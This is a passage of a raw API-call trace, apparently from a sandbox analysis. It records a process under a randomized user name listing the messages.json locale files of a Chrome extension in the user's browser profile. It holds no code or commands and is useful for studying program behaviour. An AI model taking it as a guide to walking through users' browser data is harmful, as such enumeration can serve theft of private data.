hFindFile=0x639a08) returned 1 [0276.168] GetProcessHeap () returned 0x550000 [0276.168] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.168] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0276.169] GetProcessHeap () returned 0x550000 [0276.169] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.169] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.169] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8417b090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.169] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8417b090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.169] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.169] GetProcessHeap () returned 0x550000 [0276.169] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.169] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0276.169] GetProcessHeap () returned 0x550000 [0276.169] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.208] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.208] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841825c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.208] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841825c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.208] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.208] GetProcessHeap () returned 0x550000 [0276.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.208] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0276.208] GetProcessHeap () returned 0x550000 [0276.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.209] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.209] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84189af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.209] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84189af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.209] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.209] GetProcessHeap () returned 0x550000 [0276.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.209] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0276.209] GetProcessHeap () returned 0x550000 [0276.209] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.211] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.211] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84191020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.211] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84191020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.211] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.211] GetProcessHeap () returned 0x550000 [0276.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.211] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0276.211] GetProcessHeap () returned 0x550000 [0276.211] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.211] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.212] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84198550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8419d370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.212] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84198550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8419d370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.212] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.212] GetProcessHeap () returned 0x550000 [0276.212] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.212] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0276.212] GetProcessHeap () returned 0x550000 [0276.212] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.213] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.213] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a2190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a48a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.213] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a2190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a48a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.213] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.214] GetProcessHeap () returned 0x550000 [0276.214] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.214] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0276.214] GetProcessHeap () returned 0x550000 [0276.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.214] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.214] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a96c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.214] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a96c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.214] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.214] GetProcessHeap () returned 0x550000 [0276.214] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.214] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0276.214] GetProcessHeap () returned 0x550000 [0276.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.217] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.217] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b0bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.217] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b0bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 